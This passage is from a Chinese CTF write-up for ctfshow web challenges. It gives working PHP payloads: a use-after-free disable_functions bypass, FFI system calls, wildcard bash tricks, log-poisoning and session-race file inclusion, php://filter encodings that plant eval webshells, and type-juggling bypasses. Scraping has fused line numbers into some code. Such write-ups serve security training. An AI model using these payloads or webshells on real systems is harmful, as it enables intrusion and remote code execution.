0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }ctfshow ("tac /flag0.txt" );ob_end_flush ();?>
然后url编码传入就可以了
web73 老样子
1 c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ){echo ($f ->__toString ().' ' );}exit (0 );?>
发现在flagc.txt,再用include就行了
1 c=include("/flagc.txt" );exit ();
web74 1 c=include("/flagx.txt" );exit ();
web75 发现在flag36.txt,include()行不通,,uaf脚本用不了
用mysql的load_file读取文件
1 2 3 4 c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema' , 'root' ,'root' );foreach($dbh ->query('select load_file("/flag36.txt")' ) as $row ) {echo($row [0 ])."|" ; }$dbh = null;}catch (PDOException $e ) {echo $e - >getMessage();exit (0 );}exit (0 );
但其实这里要求还是很多的,需要知道数据库账号密码,还有指定的库不一定就是默认的information_schema
web76 沿用上题的思路就行了
web77 利用的PHP 7.4+的FFI特性,即外部函数接口特性https://www.php.net/manual/zh/ffi.cdef.php
1 2 3 c=$ffi = FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );
参考一下csdn大佬的解释
PHP手册中对FFI:cdef原型的描述为public static FFI::cdef(string $code = “”, ?string $lib = null),其中$code为一个字符串,包含常规C语言中的一系列声明,$lib为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。 起初我认为payload中第一行代码的含义是,在不提供$lib信息的情况下,则会默认调用PHP中的system函数,但是实际上int system(const char *command);即为C语言中system函数的定义,用于执行系统命令,也即在Linux平台下将/readflag > 1.txt使用shell进行解析并执行,因此猜测readflag可能是一个可执行文件。
执行后访问1.txt,就能看到flag
如使用FFI调用C语言中的system函数列出根目录
1 2 3 c=$ffi = FFI::cdef ("int system(const char *command);" );$a ='ls / > 1.txt' ;$ffi ->system ($a );exit ();
web118 提示了
过滤了字母数字
环境变量PATH是/bin,路径PWD是/var/www/html,HOME是/root。${PATH:A}${PWD:A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。
1 Linux中,${#xxx} 显示的是这个数值的位数,而如果不加
1 ${ PATH :~A }${ PWD :~A } ?? ?? .?? ?
web119 构造出/bin/cat flag.php
1 2 3 4 5 ${ HOME :${ #HOSTNAME }:${ #SHLVL }} ====> t${ PWD :${ Z }:${ #SHLVL }} ====> /${ PWD :${ #}:${ #SHLVL }}???${ PWD :${ #}:${ #SHLVL }}??${ HOME :${ #HOSTNAME }:${ #SHLVL }} ????.???
或者
1 2 3 4 5 6 7 0 :${#} ;1 :${#SHLVL} =1 ,或者${##} 、${#?} 。2 :${SHLVL} =2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1 ,然后在此shell中再打开一个shell时$SHLVL=2 。)3 :${#IFS} =3 。(linux下是3 ,mac里是4 )
$PWD这个在做题的时候由118题可以知道默认的位置是在 /var/www/html
于是结合hips构造出自己的答案:
/bin/cat flag.php
/???/?at ?l??.php
1 2 3 4 5 6 7 $ {PWD :$ {$ {PWD :$ {SHLVL}:$ {$ {PWD :~$ {SHLVL}:$ {$ {PWD :~A} = 取最后一位 = l
1 ${ PWD :${ #}:${ ##}}???${ PWD :${ #}:${ ##}}?${ PWD :${ SHLVL }:${ #SHLVL }}${ PWD :~${ SHLVL }:${ #SHLVL }}$I FS?${ PWD :~A }??.???
web120 /bin/base64 flag.php
1 code=${ PWD ::${ #SHLVL }}???${ PWD ::${ #SHLVL }}?????${ #RANDOM } ????.???
在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数(多试几次)
再去base64解码
web121 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } }?>
开始过滤一堆了
1 2 ${PWD::${#?} } ???${PWD::${#?} } ${PWD:${#IFS} :${#?} } ?? ????.??? /bin/rev
web122 HOME 即/root
$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误比如Command not found就会返回127
为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1
这里的话可以用 <A,<A 提示的错误是no such file or dictionary,它对应的error code 是2 但是 $? 的结果是1
1 2 3 4 5 code=<A;${ HOME : : $? }?? ?$ {HOME : : $? }?? ?? ?$ {RANDOM : : $? } ?? ?? .?? ? 即:/?? ?/ ?? ?? ?4 ?? ?? .?? ?/bin/base 64 <A 先让指令执行错误,然后 $? 取到的值就为1 了
多试几次
web124 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
禁麻了,突破口就是数学函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 base_convert(number ,frombase,tobase)number :规定要转换的数 frombase:规定数字原来的进制,介于2 和36 之间(包括 2 和 36 ) tobase:规定要转换的进制,介于 2 和 36 之间(包括 2 和 36 ) 高于十进制的数字用字母a-z表示,如a表示10 ,b表示11 以及z表示35 bindec ( string $binary_string ) : number bindec:二进制转换为十进制 decbin ( int $number ) : string decbin:十进制转换为二进制 dechex ( int $number ) : string dechex:十进制转换为十六进制 decoct ( int $number ) : string decoct:十进制转换为八进制 hexdec ( int $number ) : string hexdec:十六进制转换为十进制
可以构造:
1 c =$_GET [a]($_GET [b])&a =system&b=cat f*
1 2 3 4 5 6 7 8 9 10 11 对于括号类的字符: 圆括号和方括号都是能用花括号直接替换的 _GET的构造: 因为这里很多数学函数都没有被禁,所以肯定是从这个入手的base_convert ('hex2bin', 36 , 10 ); 即将hex2bin这个字符串从36 进制转换成10 进制,结果:37907361743 hexdec (bin2hex("_GET")); 即将_GET这个字符串转换成16 进制后再转换成10 进制,结果:1598506324 最后_GET的整体构造为:base_convert ('37907361743 ',10 ,36 )(dechex('1598506324 '));
1 c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));$ $ pi {abs }($ $ pi {acos})&abs =system &acos=cat f*
文件包含
include
inclued_once
require
require_once
当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析
web78 1 2 3 4 5 6 7 8 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); }
可以用data://协议
1 ?file=data://text/plain, <?php system ('tac f*' );?>
或者
1 ?file=php:// filter/convert.base64-encode/ resource=flag.php
再base64解码就行了
web79 1 2 3 4 5 6 7 8 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
多了点过滤,上题的payload修改一下就可以了,将<?php
改成<?=
1 ?file =data://text /plain,<? = system ('tac f*' );?>
web80 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
用不了data协议了
可以包含日志文件 进行getshell
nginx日志的默认路径为/var/log/nginx.
ssh日志的默认路径为/var/log/auth.log
1 ?file =/var/ log/nginx/ access.log
然后再:
1 <?php system ('cat fl0g.php' );?>
web81 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
跟上题一样日志包含就可以了
web82~86 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
条件竞争包含session,利用session.upload_progress
将恶意语句写入session文件,从而包含session文件
参考:
https://www.freebuf.com/vuls/202819.html
https://xz.aliyun.com/t/10662
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport threadingimport sys session=requests.session() sess='yu22x' url1="http://a8f01e6b-e9e9-4a3c-8585-f26b34dcdcbc.challenge.ctf.show/" url2='http://a8f01e6b-e9e9-4a3c-8585-f26b34dcdcbc.challenge.ctf.show?file=/tmp/sess_' +sess data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php eval($_POST[1]);?>' } data2={ '1' :'system("cat f*");' } file={ 'file' :'abc' } cookies={ 'PHPSESSID' : sess }def write (): while True : r = session.post(url1,data=data1,files=file,cookies=cookies)def read (): while True : r = session.post(url2,data=data2) if 'ctfshow{' in r.text: print (r.text) threads = [threading.Thread(target=write), threading.Thread(target=read)]for t in threads: t.start()
web87 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $content = $_POST ['content' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); $file = str_replace (":" , "???" , $file ); $file = str_replace ("." , "???" , $file ); file_put_contents (urldecode ($file ), "<?php die('大佬别秀了');?>" .$content ); }else { highlight_file (__FILE__ ); }
file_put_contents() 函数用于把字符串写入文件,成功返回写入到文件内数据的字节数,失败则返回 FALSE。 语法: int file_put_contents ( string filename, string data [, int flags [, resource context]] )
file_put_contents()写文件。默认的是重新写文件,也就是会 替换原先的内容。
绕过死亡die可以使用rot13编码,还可以用base64编码https://www.leavesongs.com/PENETRATION/php-filter-magic.html
抄一下别人的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1. rot13绕过 #下放url编码为php:file =%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%36%25%32%65%25%37%30%25%36%38%25%37%30 #post传 content=<?cuc riny($_CBFG[1 ]);?> #为<?php eval ($_POST[1 ])?>2. base64绕过 base64解码时会自动跳过不认识的字符,如空格,括号,中文等 <?php die('大佬别秀了' );?>base64解码只解码phpdie,而base64是四个字符解码四个字符的,所以可以填充两个字符,造成php代码失效,而一句话木马能够解码成功 #file =php: %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%32%25%32%65%25%37%30%25%36%38%25%37%30 #post content=11 PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== #base64解码<?php @eval($_POST[1 ]);?>
以base64绕过为例,执行上面的payload后,一句话木马就会被写入b.php,这时候访问b.php去getshell就可以了
web88 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match ("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file (__FILE__ ); }
可以直接用data协议
1 2 3 ?file =data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs POST1 =system("cat *f *");
web116 好有趣的一道题,打开是一个视频,下载下来然后可以用foremost分离出来一张图片
看到了源码,file_get_contents可以用来读取文件内容,可以跑字典来找出藏有flag的文件
1 view-source :http ://d7d2a0ae-d5f7-4027 -91 c0-d710d57ba866.challenge.ctf.show/?file =flag.php
web117 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($x ) { if (preg_match ('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } }$file =$_GET ['file' ];$contents =$_POST ['contents' ];filter ($file );file_put_contents ($file , "<?php die();?>" .$contents );
ban了base64和rot13,之前的方法行不通了,可以用iconv.UCS-2LE.UCS-2BE,
1 2 payload: file =php://filter /write =convert .iconv.UCS-2 LE.UCS-2 BE/resource=a .php post :contents=?<hp pvela$(P_SO[T]1 ;)>?
php特性 web89 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
所以可以用数组绕过
web90 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。
或者:因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } }else { echo 'nonononono' ; }
i
修饰符表示匹配时不区分大小写,因此,它会匹配$a
中的字符串,无论是”php”、”PHP”还是”Php”。
m
修饰符表示多行模式,它会让^
和$
匹配每一行的开头和结尾,而不仅仅是整个字符串的开头和结尾。
%0a表示换行/n
web92 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
和web90题的区别在与==和===
web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
strpos($num, "0")
:这部分代码会在字符串$num
中查找字符”0”第一次出现的位置索引。如果找到了,则返回该位置的索引值,如果没有找到,则返回false
。
web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
可以用8进制,但前面得加个字节,避免返回0(false)
web96 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
1 2 ?u=./flag.php ?u=/var/ www/html/ flag.php
web97 1 2 3 4 5 6 7 8 9 10 11 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ; }?>
因为这里是强比较,所以可以考虑数组绕过
web98 1 2 3 4 5 6 7 8 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?>
$_GET?$_GET=&$_POST:'flag';
: 这是一个三元运算符,检查$_GET
是否存在。如果$_GET
存在,它将使$_GET
等于$_POST
,否则,它会将$_GET
设置为字符串’flag’。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
: 这也是一个三元运算符,检查$_GET['flag']
是否等于字符串’flag’。如果等于,它会将$_GET
设置为$_COOKIE
的值,否则,它会将$_GET
设置为字符串’flag’。此处,如果$_GET['flag']
被设置为’flag’,会将$_GET
变为一个数组,该数组的值来自客户端发送的Cookie。
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
: 同样是三元运算符,这里检查$_GET['flag']
是否等于字符串’flag’。如果等于,它会将$_GET
设置为$_SERVER
的值,否则,它会将$_GET
设置为字符串’flag’。此处,如果$_GET['flag']
被设置为’flag’,会将$_GET
变为一个数组,该数组的值来自服务端的环境变量。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
: 这行代码使用highlight_file
函数来显示指定文件的内容。它使用了$_GET['HTTP_FLAG']
的值来决定要显示的文件内容。如果$_GET['HTTP_FLAG']
等于’flag’,它将显示$flag
的内容(来自flag.php
文件),否则,它将显示当前文件(__FILE__
)的内容。
有点混乱,就是随便GET传一个,然后POST HTTP_FLAG=flag(让后两行失效)
web99 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); }if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }?>
1 2 3 4 in_array(search ,array ,type )search 为指定搜索的值array 为指定检索的数组type 为TRUE 则 函数还会检查 search 的类型是否和 array 中的相同
数组中的值是int,而在弱类型中当php字符串和int比较时,字符串会被转换成int,所以 字符串中数字后面的字符串会被忽略。
这里的in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1,从而绕过判断
1 2 ?n=1 .php content=<?php system ($_POST [1 ]);?>
web100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }?>
运算符优先级:&& > || > = > and > or
is_numeric () — 检测变量是否为数字或数字字符串 ,=的运算符比and高,对于v0的值只需要看v1就可以 v2,v3是干扰
1 ?v1 =21 &v2 =var_dump ($ctfshow)
注释掉v3和(‘ctfshow’)
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }?>
多了些过滤,注释不了了,可以用反射类方法
1 ?v1 =1&v2=echo new Reflectionclass&v3 =;
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); }else { die ('hacker' ); }?>
call_user_func函数类似于一种特别的调用函数的方法,第一个参数是调用的对象,第二个参数是被调用对象的参数,使用方法如下:
1 2 3 4 5 6 7 8 9 10 <?php function nowamagic ($a ,$b ) { echo $a ; echo $b ; } call_user_func ('nowamagic' , "111" ,"222" ); call_user_func ('nowamagic' , "333" ,"444" ); ?>
调用现有的方法hex2bin(把十六进制值转换为 ASCII 字符)
1 2 3 4 GET v2 =115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php POSTv1 =hex2bin
web103 就多了一些过滤,用上题一样的payload就可以了
web104 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } }?>
网上随便搜一下都能找到
1 2 3 4 aaK1STfY0 e76658526655756207688271159624026011393 aaO8zKZF0 e89257456677279068558073954252716165668
或者直接数组绕过v1[]=1 v2[]=1
web105 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; }if (!($_POST ['flag' ]==$flag )){ die ($error ); }echo "your are good" .$flag ."\n" ;die ($suces );?>
变量覆盖,payload
由于没有POST提交,第二个foreach就没用,再看第一个,会得到$suces=$flag 和$flag=NULL(为空)这样就能绕过判断if(!($_POST[‘flag’]==$flag))
同时在die($suces);输出flag
web106 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }?>
aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
或者还是数组绕过
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }?>
parse_str(string,array )把查询字符串解析到变量中:
1 2 3 4 <?php parse_str ("name=Peter&age=43" ,$myArray );print_r ($myArray );?>
就是往v1传入flag=c4ca4238a0b923820dcc509a6f75849b(1的md5值),然后再被解析成v2的falg变量,再往v3传1就好了
1 2 v3 = 1 v1 = flag= c4ca4238a0b923820dcc509a6f75849b
web108 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); }if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }?>
strrev()反转字符串,ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
0x36d是16进制数,转换成10进制是877
先要被ereg匹配到返回TRUE,然后$_GET[‘c’])===FALSE就会返回false,该if语句就不能继续执行
web109 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }?>
匿名类绕过
